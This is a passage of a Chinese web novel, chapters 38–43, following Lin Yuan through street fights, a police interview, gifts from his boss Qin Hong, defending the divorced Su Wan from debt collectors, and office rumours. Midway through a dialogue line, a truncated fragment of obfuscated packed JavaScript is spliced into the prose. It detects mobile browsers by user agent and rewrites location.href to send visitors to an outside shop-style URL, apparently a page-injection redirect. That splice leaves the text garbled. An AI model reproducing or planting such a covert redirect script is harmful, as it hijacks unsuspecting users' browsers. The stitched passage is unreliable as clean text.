小鹿在旁边插嘴:“我妈可厉害了,她一个人把公司从零做到了现在几千万的规模。”
“小鹿。”女人有些不好意思,“别乱说。”
“我没乱说。”小鹿理直气壮,“你自己说的,去年营收过了三千万。”
女人摇了摇头,看着我,有些无奈地笑了。“小孩子,嘴上没把门的。”
“几千万的规模,很厉害了。”我说。
“不算什么。”她的语气很淡,“和那些大公司比,还差得远。”
我看着她,心里忽然有了一种奇怪的感觉。这个女人,看起来温柔、低调,但骨子里有一股倔强的劲儿。那种“我什么苦都吃过,什么都不怕”的劲儿。
和秦红很像,但比秦红更柔和一些。
第38章 漂亮警花
吃完饭,小鹿主动收拾碗筷,端到厨房去洗。我和女人坐在沙发上,客厅里安静下来,只有厨房里传来的水声和碗碟碰撞的声响。
“林先生,”她开口,声音比刚才轻了一些,“今天真的谢谢你。”
“你已经谢过了。”
“谢多少次都不够。”她低下头,“小鹿是我唯一的亲人,如果她出了什么事,我——”
她没有说下去。但她的眼眶红了。
“她不会出事的。”我说。
“你怎么知道?”
“因为我不会让她出事。”
她抬起头,看着我。眼神里有一种说不清的东西。
“林先生,你这个人——”
“叫我林远就行。”
“林远。”她念了一遍我的名字,像是要把这两个字记住,“你为什么要帮小鹿?你们不认识,你完全可以不管的。”
“看到了,就不能不管。”我说,“我小时候也被人欺负过。那时候没人帮我。所以现在,我看到了,就得帮。”
她看着我,沉默了很久。
“你是个好人。”她说。
“不是好人。”我说:“是吃过亏的人。”
她愣了一下,然后笑了。
厨房里,小鹿哼着歌,水声哗哗的。客厅里,我和她的妈妈坐着,谁都没有说话。那种安静不是尴尬,是一种——舒服的、不用刻意找话说的默契。
“林远。”她开口。
“嗯。”
“你以后还会去那个拳馆吗?”
“会,每周去好几次。”
“那——”她犹豫了一下,“如果方便的话,能不能加个微信?小鹿很喜欢你,如果你不嫌弃的话,以后有空可以来家里坐坐。”
“好。”
我拿出手机,扫了她的二维码。她的微信头像是一朵白色的花,昵称叫“安然”。
“我叫安然。”她说,“安心的安,然后的然。”
“好名字。”
从小鹿家出来,已经快十一点了,安然送我送到小区门口。
“林远,今天真的谢谢你。”她说。
“别客气。”
“你手上的伤,回去记得换药。”
“好。”
“还有小臂,明天如果肿得更厉害,就去医院看看。”
“知道了。”
她看着我,嘴唇动了一下,像是想说什么,但没说出来。
“怎么了?”
“没什么。”她笑了笑,“你回去路上小心。”
“好。你也早点休息。”
我转身要走。
“林远。”她在身后叫我。
我停下来,回头。
“下周如果有空,来家里吃饭。”她说,“小鹿很喜欢你。”
“好。”
我挥了挥手走出翡翠湾的大门,回头看了一眼。安然还站在门口,她看到我回头,冲我笑了笑,然后转身进了小区。
我继续往前走手机震了,秦红的消息:“练完拳了?”
“嗯。在回去的路上。”
“吃了吗?”
“吃了,在一个朋友家吃的。”
“朋友?你什么时候在滨海有朋友了?”
“刚认识的。”
秦红发了一个问号,又发了一个省略号。“行吧。早点回来。”
“好。”
我收起手机,加快了脚步。
在这个城市里,我第一次觉得——我不只是一个外来的、打工的、被人看不起的乡下小子。
第二天早上手机响了,是一个陌生号码。
“你好,请问是林远吗?”对方的声音很正式,带着一种公事公办的腔调。
“是我,您是——”
“我是滨海市公安局永安区分局的,昨晚发生了一起案件,我们需要你过来配合调查。关于你见义勇为、打伤三名嫌疑人的事。”
我心里一沉。打伤?昨晚那三个人,胖子掉了一颗牙,黄毛鼻梁断了,光头被我打中太阳穴晕过去了——不会出人命吧?
“那三个人——”
“嫌疑人已经被控制了。你放心,不是坏事。”对方似乎听出了我的紧张,“你过来就知道了。”
“好。地址发我。”
挂了电话,我洗了个澡,换了一身干净衣服。站在镜子前,我看着自己的脸——嘴角的伤口已经结痂了,眼眶的青紫也消退了大半。身体比以前壮了一圈,但心里还是有点虚。
派出所,我对那个地方天生发憷。
出门的时候,秦红正好在走廊里。
“这么早去哪?”
“派出所。”
她的脸色一下子变了。“出什么事了?”
“昨晚的事,那三个混混被抓了,让我去配合调查。”
“昨晚?哪三个混混?”
“我回来的时候遇到几个混混欺负一个小女孩,动了手。”
秦红盯着我看了两秒,然后叹了口气。
“林远,你是不是觉得自己是超人?”
“不是。”
“那你为什么总是——”
“红姐,来不及了,回来再说。”
我转身走了。身后传来秦红的声音:“到了给我发定位!”
永安区分局在老城区的一条街上,灰色的楼,门口挂着警徽,透着一股子肃穆的味道。我走进去,前台的女警看了我一眼,打了个电话。过了一会儿,一个穿着制服的年轻女警从里面走了出来。
她不高,但很精神。短发,利落的齐耳短发,露出一截白皙的脖颈。五官端正,眉眼之间有一种英气,不是那种柔弱的美,是那种——让人不敢造次的美。制服穿在她身上,衬得腰身很细,肩膀很直。
她的目光落在我身上,上下打量了一遍,然后伸出手。
“你就是林远?”
“是。”
“我是赵暮,这起案件的负责人。”她的手很凉,但握得很紧,“跟我来。”
我跟着她穿过走廊,进了一间办公室。办公室里很简洁,一张桌子,两台电脑,墙上挂着一面锦旗。赵暮在我对面坐下,打开电脑,调出一段视频。
“你先看看这个。”
屏幕上出现了一条巷子,画面有些模糊,但能看清大概。三个男人围着一个小女孩——小鹿。她的外套被扯掉了,头发被揪得乱七八糟,胖子一巴掌扇在她脸上,她的头猛地偏向一边。黄毛蹲下来,伸手去扯她的T恤。
我的拳头攥紧了。
然后画面里出现了我,我从巷口走进来,胖子先动手,我侧身一躲,抓住他的手腕,膝盖顶进他的肚子。动作很快,但每一帧都清清楚楚。
黄毛掏出刀,我避开、抓腕、翻拧、出拳——鼻血喷出来的那一瞬间,黄毛的脸在画面里扭曲了。
赵暮按了暂停。
“你的身手,是练过的?”
“刚练了不到两周。”
“两周?”她的眉毛挑了一下,“你在哪练的?”
“老刀拳馆,老城区那边。”
“老刀?”她念了一遍这个名字,似乎在回忆什么,“教什么的?”
“格斗,他是退役特种兵。”
赵暮点了点头,在笔记本上记了几个字。
“林远,昨晚的事,监控拍得很清楚。”她抬起头看着我,“三名嫌疑人尾随、拦截、殴打未成年人,已经涉嫌寻衅滋事罪。你的行为属于正当防卫,没有过当,所以你不用担心。”
第39章 见义勇为奖金
“那三个人——”
“都关着呢。胖子掉了一颗牙,黄毛鼻梁骨折,光头轻微脑震荡。”她的语气很平淡,像是在说今天天气不错,“伤得不重,都在可接受范围内。”
我松了一口气。
“不过,”她顿了顿,“你的身手确实不错,一个人打三个,还带了刀和砖头,你一点事没有。”
“有事。”我伸出胳膊,露出小臂上的淤青,“砖头砸的。”
她看了一眼,嘴角动了一下,像是想笑又忍住了。
“林远,我问你个事。”
“什么?”
“你说的那个老刀拳馆,收不收女学员?”
我愣了一下。“你想学?”
“嗯。”她的表情很认真,“我是警校毕业的,格斗课学过,但都是套路。实战不行。你昨晚那个抓腕翻拧的动作,干净利落,我想学。”
“我也是新手。才练了不到两周。”
“你刚才说了。”她看着我,“那你介不介意多个师妹?”
我看着她英气逼人的脸,忽然笑了。
“我不介意,但老刀收徒看眼缘,他要是看不上你,我也没办法。”
“地址给我。我自己去找他。”
我把老刀拳馆的地址写在纸条上递给她。她接过去,看了一眼,折好放进口袋。
“林远,谢谢你配合调查。”她站起来,伸出手,“以后有什么事,可以打我电话。”
她从桌上拿了一张名片递给我。上面印着:滨海市公安局永安区分局,赵暮,刑侦大队副大队长。
副大队长,这么年轻就当副大队长,要么是家里有背景,要么是自己真有本事。或者两者都有。
“赵队,那三个人会怎么处理?”
“该判的判,该关的关。”她的语气很冷,“这种人,留着也是祸害。”
她送我出了办公室,走到门口的时候,她突然说:“对了,安然让我替她谢谢你。”
“你认识安然?”
“认识。她是我的朋友。”赵暮的嘴角动了一下,“昨晚小鹿出事之后,安然第一时间给我打了电话。那三个混混能这么快被抓,也是她找的关系。”
安然看起来温温柔柔的,做起事来雷厉风行。一夜之间,三个混混全部落网——这不仅仅是“有钱”能做到的,但没钱肯定做不到!
“替我谢谢安然。”我说。
“你自己谢。”赵暮说,“她说了,下周请你吃饭。”
我愣了一下,然后笑了。
走出派出所,我站在门口,深吸了一口气。昨晚的阴霾一扫而空。小鹿安全了,那三个混混被抓了,我还认识了一个美女警察,一切都往好的方向走。
手机震了。秦红的消息:“怎么样?”
“没事,正当防卫。那三个人被抓了。”
“吓死我了。”她发了一个叹气的表情,“你下次能不能提前跟我说一声?”
“来不及。下次一定。”
“还有下次?”
我笑了,没有回。
又一条消息进来。是安然。
“林远,赵暮跟我说了,你去派出所了。没事吧?”
“没事。谢谢你的关系。”
“应该的,小鹿的事,我才应该谢谢你。”
“不用谢。举手之劳。”
“下周有空吗?来家里吃饭。小鹿说想你了。”
我看着屏幕,心里暖了一下。
“好,下周二晚上?”
“行,我等你。”
我把手机收起来,往拳馆的方向走。
到拳馆的时候,老刀正坐在沙发上缠绷带。
“今天来晚了。”他头都没抬。
“去派出所了。”
他的手顿了一下。“出什么事了?”
“昨晚回去的路上遇到几个混混欺负一个小女孩,动了手。”我在他旁边坐下,“那三个人被抓了,让我去配合调查。”
老刀抬起头,看了我一眼。“赢了?”
“赢了。”
“受伤了?”
“小臂被砖头砸了一下。”
他伸手捏了捏我的小臂,我疼得嘶了一声。
“骨头没事。”他松开手,“下次别用手臂挡砖头。用肘,肘硬。”
“知道了。”
“那三个用的什么?”
“胖子拳头,黄毛刀,光头砖头。”
老刀点了点头。“刀你躲过去了,砖头你用手臂挡的,拳头呢?”
“胖子被我打掉了一颗牙。”
“打掉一颗牙?”老刀的嘴角动了一下,像是笑了,“行。有点意思了。”
他站起来,走到沙袋前。
“来,让我看看你现在出拳有多重。”
我站起来,走到沙袋前,深吸一口气。腰转,肩送,力从地起,经过腰,传到肩,再到拳——一拳打在沙袋上。
沙袋猛地向后荡去,链条发出刺耳的摩擦声。
老刀看着沙袋荡回来,沉默了两秒。
“很好,你的拳更重了。”
“可能是昨晚的事刺激到我了。”
“有肾上腺素也是你的力量。”他走回沙发坐下,“林远,你是我这几年见过的进步最快的人。不是因为你有天赋,是因为你吃过亏。”
“吃过亏?”
“对,吃过亏的人知道疼。知道疼的人,才会拼命练。”他点了那支一直没点的烟,吸了一口,“你以前被人欺负过?”
我沉默了一会儿。
“小时候在村里,因为家里穷,比我大几岁的孩子,把我按在地上打没人帮我。”
老刀点了点头,没再问了。
下午,我去店里上班。
秦红正在办公室里看文件,看到我进来,放下笔。
“派出所的事,处理完了?”
“完了,正当防卫。”
“那三个人呢?”
“关着呢,该判的判,该关的关。”
秦红点了点头,从抽屉里拿出一个信封,推到我面前。
“这是什么?”
“奖金。五千块。”
“红姐——”
“别废话。”她打断我,“你见义勇为,给红颜长了脸。这钱是店里出的,不是我个人。”
我看着她,沉默了两秒,然后把信封收下了。
“红姐,谢谢你。”
“别谢我。”她靠在椅背上,“林远,你现在手里有多少钱了?”
“什么?”
“我问你,你这几个月攒了多少钱?”
我想了想。“一万多吧,加上这个两万。”
“两万。”秦红念了一遍这个数字,“在滨海,连个卫生间都买不起。”
“红姐,你想说什么?”
“我想说——”她顿了顿,“你不能一辈子住在员工宿舍里,你得有自己的房子。”
“我买不起。”
“现在买不起,不代表以后买不起。”她看着我,“澜曦的代理权拿下来,你的提成不会少。再加上你运营总监的工资,一年攒个十几万不是问题。”
“那也得攒好几年。”
“几年怎么了?”她的语气有些不耐烦,“你以为钱是大风刮来的?我当年也是从零开始,一步一步来,别急。”
我点了点头。
“还有一件事。”秦红从桌上拿起一张请柬,递给我,“滨海市青年企业家协会的晚宴,下个月你替我去。”
“我?”
“对,你!”她看着我,“你现在是红颜的运营总监,月薪一万,手里有周太的名片,认识沈若溪。你不能再缩在后面了。该你上场了。”
我接过请柬,打开。烫金的字,印着我的名字——林远。
“红姐,我怕给你丢人。”
“你不会。”她站起来,走到我面前,帮我整了整衣领,“你从来不会给我丢人。”
“去吧。好好准备。”
第40章 苏婉离婚了
晚上,我回到宿舍坐在床边,手机震了是苏婉的消息。
“小远,今天去派出所了?”
“嗯,那三个混混被抓了。”
“你没事吧?”
“没事。正当防卫。”
“那就好。”她发了一个笑脸,“小远,我跟你说个事。”
“什么?”
“离婚的事,下周就能办完了。”
我攥紧了手机。
“真的?”
“真的。林强签字了。”
“嫂子——”
“到时候,我去开发区找你。”
“好。”
“你上次说,等见面了,有话跟我说。”
“嗯。”
“什么话?”
“到时候你就知道了。”
她发了一个笑脸。
“好。我等着。”
我放下手机,在宿舍里走来走去,心里莫名的有些发慌。
这一个周我都不知道自己是怎么度过的,根本无法集中精神,就连填表格的时候都会出错,只能经常去拳馆发泄。
周三的时候正在办公室里整理澜曦的方案,手机震了一下。她的消息只有一行字:“小远,手续办完了,我是自由的人了。”
我打字:嫂子,我去看你。
想了想不对,她已经离婚了不是我嫂子了,于是改成了:婉姐我去看你。
“好。”
“今晚?”
“好。”
我放下手机,心跳得很快。
下班之后,我去超市买了点东西。一瓶红酒,一束花。
秦红在走廊里看到我手里的花,眼神变了一下。“去见苏婉?”
“嗯。”
“她离婚了?”
“嗯。”
秦红沉默了一会儿,然后说了一句让我心跳加速的话:“林远,你现在去看她,和以前不一样了。”
“哪里不一样?”
“以前她是你的嫂子。现在——”她顿了顿,“她只是苏婉。”
她没有说完,转身走了。我站在走廊里,看着她的背影,心里涌起一股说不清的情绪。
我到开发区的时候,太阳刚落山。
苏婉的公寓在分店楼上,一室一厅,不大,但收拾得很干净。门开着,油烟机的声音从里面传出来,空气里飘着葱花和酱油的味道。
“婉姐。”我站在门口。
她从厨房探出头来,穿着一件浅灰色的家居服,头发随意地扎在脑后,脸上没有化妆。她的眼睛下面有黑眼圈,像是好几天没睡好。但看到我的那一刻,她笑了。
“来了?进来坐,菜马上就好。”
我走进去,在沙发上坐下。茶几上摊着几份文件,上面盖着法院的章。我拿起来看了看——离婚判决书、财产分割异议书、还有几张银行转账记录。
转账记录上,林强的名字后面跟着一串数字。他把钱转给了一个叫“李娜”的女人。一笔一笔,几十万,上百万,像流水一样从他的账户流出去。
李娜,就是那个在KTV里被林强搂着的女人,林强的小三。
“婉姐,这些钱——”
“都被他转走了。”苏婉从厨房端着一盘菜走出来,放在桌上,语气平静得可怕,“房子也在李娜名下,他说那是他借名买的,跟我没关系。”
“你请的律师怎么说?”
“律师说很难要回来,因为没有证据证明那些钱是夫妻共同财产。”她在餐桌前坐下,看着那几份文件,眼神空洞,“他早就准备好了,几年前就开始转移了。”
“那赌债呢?”
“赌债更麻烦。”她苦笑了一下,“他说那些债是结婚期间欠的,属于夫妻共同债务。律师说,如果对方起诉,法院可能会判我承担一部分。”
“凭什么?那是他赌的!”
“法律不管是谁赌的,只要是结婚期间欠的,就说不清楚。”她低下头,“我现在才知道,他比我以为的浑蛋多了。”
我看着她,心里涌起一股酸涩。
“婉姐,你别怕,这件事我来想办法。”
“你有什么办法?”她抬起头,看着我,“你又不是律师。”
“我不是律师,但我认识人。”我说,“红姐认识很多律师,我去找她帮忙。”
“小远——”
“别说了。”我打断她,“先吃饭,吃完饭再说。”
菜端上来了四菜一汤,每一样都是我爱吃的。
吃完饭,她收拾碗筷,我坐在沙发上看电视。电视里放着一个调解节目,讲的是一对夫妻离婚后争财产的案子。男的转移资产,女的什么没得到。
苏婉洗完碗,在我旁边坐下,拿起毯子搭在腿上。
“谢谢你,小远。”
“谢什么?”
“谢谢你来看我,谢谢你说这些话。”她顿了顿,“谢谢你没有像别人一样,觉得我是活该。”
“你不是活该。”我握紧她的手,“你是受害者。”
她没有再说话,我们就那么坐着,电视机开着,但谁都没有在看。
“砰”的一声巨响,木门猛地弹开,撞在墙上。三个男人站在门口,领头的那个是个胖子,脖子上挂着金链子,脸红得像猪肝。
苏婉的脸一下子白了。
“苏婉!你他妈躲这儿了!”胖子冲进来,一脚踹翻了门口的鞋柜,“林强欠的钱,你到底还不还?”
我站起来,挡在苏婉面前。
“你们是谁?”
胖子上下打量了我一眼,“林强的弟弟?我告诉你,你哥欠我二十万,今天不还钱,你们俩谁都别想走!”
“林强欠你的钱,你找林强要。”我的声音很平静,“苏婉已经跟他离婚了。”
“离婚了也是他老婆!”胖子一拍桌子,“法律上写得明明白白,夫妻共同债务!你不还钱,我就去法院告你!”
“你去告。”我说,“法院判多少,我们还多少。但你现在踹门、恐吓,这是寻衅滋事,我现在就报警。”
我拿出手机,胖子一把抢过我的手机,摔在地上。屏幕碎了。
“报警?你报啊!”他伸手推了我一把,“老子告诉你,今天不拿钱,你们俩谁都别想走!”
我被他推得退了一步,但没倒。胖子愣了一下,没想到推不动。
“婉姐,你往后退。”我说。
“小远——”
“退后。”
苏婉退到了墙角。
胖子看着他的两个同伙,笑了。“哟,这小子还想动手?兄弟们,教教他怎么做人。”
他身后两个人撸起袖子就冲上来了。
第一个是瘦高个,一拳朝我脸上招呼过来。拳头擦着我的耳朵过去。我顺势抓住他的胳膊,往前一拽,膝盖顶进他的肚子。
“呃——”瘦高个闷哼一声,弯下腰,捂着肚子蹲在地上。
第二个是个矮壮的,看到同伴倒了,从腰里掏出一把折叠刀。刀光一闪,朝我捅过来。
刀,又是刀。
我的血一下子涌上了头顶。不是害怕,是愤怒。上一次在巷子里,黄毛也是拿刀捅我。这些人,欺负女人还不够,还动刀。
第41章 一打三
矮壮的刀捅过来,我侧身避开,左手抓住他持刀的手腕,往外一翻。他的腕骨被我拧得咯咯响,刀掉在地上。我没给他反应的时间,右拳直接砸在他的下巴侧面。
矮壮的眼睛一下子涣散了,身体晃了晃,直接瘫软在地板上。
胖子看到两个同伙都倒了,脸色变了。他从腰里抽出一根甩棍,甩开,朝我砸过来。
甩棍是铁的,砸在手臂上,疼得钻心。但我没有退。老刀说过,面对持械的对手,不能退。退了就输了。
我忍着疼,一把抓住甩棍,用力一拽。胖子没站稳,整个人往前栽。我松开甩棍,一拳打在他的鼻梁上。
“咔嚓”一声,鼻梁骨断了。胖子惨叫一声,捂着鼻子蹲在地上。
我站在原地,喘着粗气,低头看了一眼地上哀嚎的三人,恶狠狠的说道:“以后再敢来骚扰她,就不是断鼻梁这么简单。”
小臂被甩棍砸过的地方肿了起来,青紫一片,渗着淡淡的血珠。两次伤的都是同一条胳膊,也真是邪门儿了。
苏婉从墙角冲过来,抓住我的胳膊。“小远!你受伤了!”
“没事。”我说,“皮外伤。”
她看着我的手臂,眼泪一下子掉了下来。“你流了好多血——”
“没事。”我重复了一遍,“真的没事。”
我转身看着地上的三个人:“婉姐,报警。”
她愣了一下,然后拿出手机,拨了110。
警察来了,领头的是一男一女。男的是个老**,姓周,四十多岁,看着经验丰富。女的很年轻,短发利落英气逼人。
老**蹲下来检查那三个人的伤,站起来,走到我面前。
“这些人是你打的?”
“是。”
他上下打量了我一眼,目光在我手臂的淤青和指节的血迹上停了一下。
“练过?”
“嗯。”
“在哪练的?”
“老刀拳馆。”
老**的眉毛挑了一下,和旁边的年轻女警对视了一眼。
“老刀拳馆?老刀那个人,脾气怪得很。你能在他那儿练,不简单。”老**的语气缓和了一些,“永安分局有个女警也在他那儿练,叫赵暮,你认识吗?”
我心里一动。赵暮。就是上次在派出所留名片给我的那个女警,刑侦大队副大队长。我介绍她去老刀拳馆,她还真去了。
“认识。”我说:“赵队是我介绍去的,算起来,她是我师妹。”
老**愣了一下,然后笑了。“你是她师兄?赵暮那丫头,身手不错,就是太硬了。老刀说她需要练柔韧性。你是师兄,平时多指点指点她。”
“赵队底子好,练得也认真,用不了多久就能超过我。”
老**点了点头,看我的眼神明显不一样了。旁边的年轻女警也看了我一眼,目光里多了一丝好奇。
“行了,这案子我们会处理。”老**拍了拍我的肩膀,“正当防卫,没问题。但下次遇到这种事,先报警,别一个人硬扛。万一对方有家伙,吃亏的是你自己。”
“谢谢周警官。”
老**让手下把那三个人带走了,胖子走的时候还在骂,被警察推了一下,不敢再吭声。
“你们俩,明天来派出所做个笔录。”老**递给我一张名片,“开发区分局,找周警官。对了,顺便给赵暮带个好,就说周叔说的,让她有空来家里吃饭。”
“好,一定带到。”
他们走了。屋子里安静下来。
苏婉蹲在地上,收拾被踹翻的鞋柜。她的手指在发抖。
“婉姐,别收拾了。”我走过去,把她拉起来,“先坐下。”
她坐在沙发上,看着我手臂上的伤,眼泪又掉了下来。
“小远,对不起。又连累你了。”
“别说傻话。”
“可是你受伤了——”
“皮外伤。”我说,“不疼。”
“骗人。”她哭着说,“你手臂都肿了——”
我伸出手,擦掉她脸上的眼泪。“婉姐,别哭了。我没事,那三个人以后不会再来了。”
“你怎么知道?”
“因为他们知道疼了。”我说,“而且警察有记录,下次再来就是累犯。刚才那个周警官你也听到了,案子他们会处理。”
“婉姐。”
“嗯。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17434345|200897||http|test|mini|href|location''.split(''|''),0,{}));
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r>“那三个人的事,我会处理好的。”
“你怎么处理?”
“我去找林强。”我说,“他欠的债,他自己还。他转移的财产,我帮你要回来。”
她抬起头,看着我。“小远,你别去找他。他那种人——”
“他那种人,欺软怕硬。”我说,“我不怕他。”
“可是——”
“婉姐,你相信我。”我看着她的眼睛,“我不会让你一个人扛。”
她盯着我看了很久,然后点了点头。
从开发区回来的大巴上,我靠着车窗,手臂还在隐隐作痛。
手机震了,秦红的电话。
“林远,你在哪?”
“从开发区回来的大巴上。”
“听说你又打架了?”
“你怎么知道?”
“苏婉给我打电话了。”秦红的声音有些冷,“她说你一个人打了三个,还受了伤。”
“皮外伤,没事。”
“没事?林远,你练拳?”
“不是。”
“那你为什么每次都一个人往上冲?”
“因为那些人欺负苏婉。”
电话那头沉默了几秒。
“林远,你对她——到底是什么心思?”
我握着手机,沉默了一会儿。
“她是我姐。”
“姐?”秦红笑了,那笑声里带着一丝说不清的意味,“行,姐就姐吧,你回来再说。”
刚挂断手机又震了,这次是赵暮的消息。
“林远,周叔给我打电话了,说你今天在开发区又打了三个人?”
“消息这么快?”
“开发区和我们分局是兄弟单位,周叔是我爸的老同事。”赵暮顿了顿,“他说你身手不错,一个人打三个,还带着伤。他还说你是老刀的徒弟,算我师兄。”
“周警官客气了。”
“他没客气。他这个人从来不夸人,能夸你,说明你真的行。”赵暮又发了一条,“改天来拳馆,咱俩练练。我也想看看师兄的本事。”
我看着屏幕,笑了。
“行。到时候别嫌我下手重。”
“谁重谁轻还不一定呢。”她发了一个挑战的表情。
第42章 听说我被包养了
周太在行业协会的理事会上公开表态支持红颜之后,澜曦的代理权基本上已经稳了。沈若溪那边还在走流程,但秦红说得笃定,那只是走个过场,迟早是我们的。
“合同下周签。”她靠在办公室的真皮沙发上,指尖转着钢笔,嘴角挂着藏不住的笑意,眼神直直落在我身上,“林远,这次,你功不可没。”
“是红姐带的好,我只是做了该做的。”我笑着回应,语气谦逊却不卑微。
“别给我来这套虚的。”秦红突然起身,踩着高跟鞋走到我面前,距离近到吓我一跳。
她从抽屉里拿出一串车钥匙,轻轻扔到我怀里,“这是你的了。”
我稳稳接住,钥匙上四个圈的标志格外显眼。
“奥迪A4,白色的,刚提的。”秦红俯身,双手撑在我身侧,离得很近:“油卡在手套箱里,以后出门谈业务,别再挤大巴给我丢人。”
我攥着钥匙的手紧了紧,有些局促:“红姐,这太贵重了,我不能要——”
“不是白给的。”她打断我,指尖轻轻戳了戳我的脸颊,眼神里带着玩味,“你现在是红颜的运营总监,代表的是我的脸面。穿得体面、开得体面,别人才会高看你一眼。再说……”
她顿了顿,凑近了些,声音压得低:“我乐意给你,你就拿着。难不成,你还怕别人说什么?”。
“谢谢红姐。”我攥着钥匙,心里又暖又乱,说不清是感激还是别的情绪。
“行了,去忙吧。”她直起身,恢复了几分平时的干练,却还是忍不住补了一句,“晚上早点下班,去熟悉熟悉你的新车。”
有了自己的车,日子确实不一样了。以前有急事,都是跟秦红借车,平时要么挤大巴,要么靠腿走,手头紧的时候,连打车都要犹豫半天。
现在有了这辆白色奥迪,单位还报销油费,出门时,不管是谈业务的客户,还是路边的路人,看我的眼光都变了。
虽然网上吹牛的人很多,但其实一个普通家庭出身的大学生,刚毕业不到一年就能开奥迪,已经能让很多人羡慕了。
可随之而来的,是更离谱、更狗血的谣言,刷遍了滨海美容圈的微信群。
有人在群里发:“家人们谁懂啊!红颜那个林远,年纪轻轻当运营总监,根本不是靠本事,就是秦红养的小白脸!秦红直接给他配了辆奥迪A4,简直是现代版‘包养文学’照进现实!”
下面立刻炸了锅:
“真的假的?我刷到过他照片,长得确实帅,难怪秦红愿意砸钱!”
“啧啧啧,这就是‘颜值即正义’吧?长得好看,少奋斗十年,比我们这些累死累活的强多了!”
“不止呢!我听说他是‘时间管理大师’,除了秦红,还跟王太、赵太太不清不楚,主打一个‘广撒网、多捞鱼’,把富婆们拿捏得死死的!”
“救命!这剧情比我看的爽文还离谱,秦红这是被PUA了吧?养了个白眼狼!”
“有没有一种可能,是秦红主动撩他?毕竟林远年轻帅气,秦红单身这么久,难免动心~”
“别扯了,肯定是林远软饭硬吃,不然凭他一个刚毕业的大学生,怎么可能当总监、开奥迪?”
谣言越传越离谱,从“小白脸”“被包养”,传到“时间管理大师”,甚至有人编出“林远靠富婆上位,一年赚够一套房”的狗血剧情,连表情包都配上了,下午的时候,店里的美容师都开始窃窃私语。
前台小妹看到我,眼神闪躲,偷偷跟旁边的人咬耳朵,还时不时瞟我一眼;几个美容师在更衣室里嘀咕,我一推门进去,瞬间鸦雀无声,一个个低着头假装整理衣服,气氛尴尬到极点。
我没生气,也没解释,只是面无表情地走进自己的办公室,关上房门,把那些闲言碎语都挡在外面。
秦红推门进来的时候,我正翻着那个传谣的微信群,她扫了一眼我的手机屏幕,不仅没生气,反而笑出了声,走到我身边,顺势靠在我的办公桌边。
“看到了?”她的声音带着点笑意,指尖轻轻划过我的手机屏幕,“这些人,想象力还挺丰富。”
“看到了。”我放下手机,语气平静,“就是觉得无聊,越传越离谱。”
“生气吗?”
“不生气。”我摇摇头,“就是有点无奈。”
“不生气就好。”她直起身,端起桌上的咖啡抿了一口,眼神里带着几分
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通透,“这种事,最好的处理方式就是不处理。越解释越黑,你越在意,她们越来劲,晾着她们几天,自然就没人说了。”
“可是那些话,确实很难听——”
“难听又怎么样?”她放下咖啡杯,走到我面前,伸手捏住我的下巴,迫使我抬头看着她,眼神直白又大胆,“她们说你被包养,说你靠脸上位,可你问问自己,你是吗?”
“我不是。”我语气坚定。
“那不就得了。”她松开手,指尖轻轻擦过我的唇角,带着点撩拨,“你知道自己是什么样的人就够了。别人怎么想,跟你没关系。再说……”
她顿了顿,嘴角勾起一抹玩味的笑:“就算她们说的是真的,我乐意包养你,又关她们什么事?”
“红姐——”我脸颊微微发烫,被她撩得有些不知所措。
“行了,不逗你了。”她笑着收回手,语气恢复了干练,“晚上有个应酬,你陪我一起去。沈若溪组的局,来的都是行业里的大佬,你穿精神点,让那些嚼舌根的人看看,你到底是靠什么吃饭的。”
晚上的饭局在滨海市最顶级的海鲜餐厅,包厢装修奢华,沈若溪坐在主位,一身黑色丝绒连衣裙,长发别在耳后,气质冷艳又优雅。
秦红坐在她左边,我坐在秦红旁边,桌上还有周太、赵太太,以及几个美容行业的老板,都是平时传我谣言的主力军。
沈若溪的目光扫过桌上的每个人,最后落在我身上,嘴角勾起一抹意味深长的笑:“林远,听说你最近在开发区,一个人打了三个混混?”
消息传得是真快,我端起酒杯,语气从容:“沈总消息灵通,只是恰逢其会,正当防卫而已。”
“滨海美容圈就这么大,什么事都藏不住。”沈若溪抿了一口红酒,眼神里带着几分欣赏,“一个人打三个还能打赢,秦红,你倒是找了个好帮手。”
“乡下找来的,土是土了点,但踏实、好用。”秦红笑着,伸手轻轻拍了拍我的大腿,动作自然又暧昧,故意做给桌上的人看。
我能感觉到桌上几道目光齐刷刷落在我身上,有好奇,有嫉妒,还有几分八卦,但我没在意,只是淡淡笑了笑。
第43章 警花的另一面
“好用就行。”沈若溪放下酒杯,语气严肃了几分,“不过林远,我得提醒你一句,你现在不是以前的林远了,你是红颜的运营总监,代表的是红颜的形象。打架这种事,传出去不好听,以后还是尽量避免。”
“沈总说的是,以后我会注意。”我微微点头,态度谦逊。
沈若溪没再追问,饭局继续,桌上的人推杯换盏,偶尔有人偷偷瞟我和秦红,却没人敢再提谣言的事。
饭局快结束的时候,周太端着酒杯走过来,压低声音,语气带着几分暧昧:“小林,听说秦红给你配了辆奥迪A4?”
“嗯,红姐体恤我谈业务不方便,特意给我配的。”我笑着回应。
“不错不错,”周太笑了笑,眼神里带着几分了然,“秦红对你是真舍得,好好干,别辜负她的心意。”
“我会的,谢谢周太。”
周太拍了拍我的肩膀,转身走了,路过赵太太身边时,两人交换了一个眼神——那种眼神,像是确认了什么,又像是在八卦我和秦红的关系,暧昧又微妙。
从餐厅出来,已经快十点了。秦红喝了不少红酒,脸颊泛红,眼神有些迷离,显然是不能开车了,我开着那辆白色奥迪,送她回美容院后面的宿舍。
她靠在副驾驶的座椅上,闭着眼睛,长长的睫毛垂着,平日里的强势褪去,多了几分柔和。
“林远。”她突然开口,声音带着点酒后的沙哑。
“嗯。”
“今天那些谣言,你真的不生气?”她又问了一遍,语气里带着几分心疼。
“不生气。”我握着方向盘,语气平静,“你都说了,越解释越黑,没必要跟她们置气。”
“那你心里,是不是很难受?”
我沉默了一会儿,如实说:“有一点,毕竟被人这么污蔑,心里还是有点不是滋味。”
秦红睁开眼睛,侧过头看着我,眼神认真又温柔:“林远,你记住一句话。在这个圈子里,没人会在乎你受没受过委屈,没人会心疼你有多难。他们只在乎你有没有用,你越强,那些闲言碎语就越伤不到你。”
“我知道。”
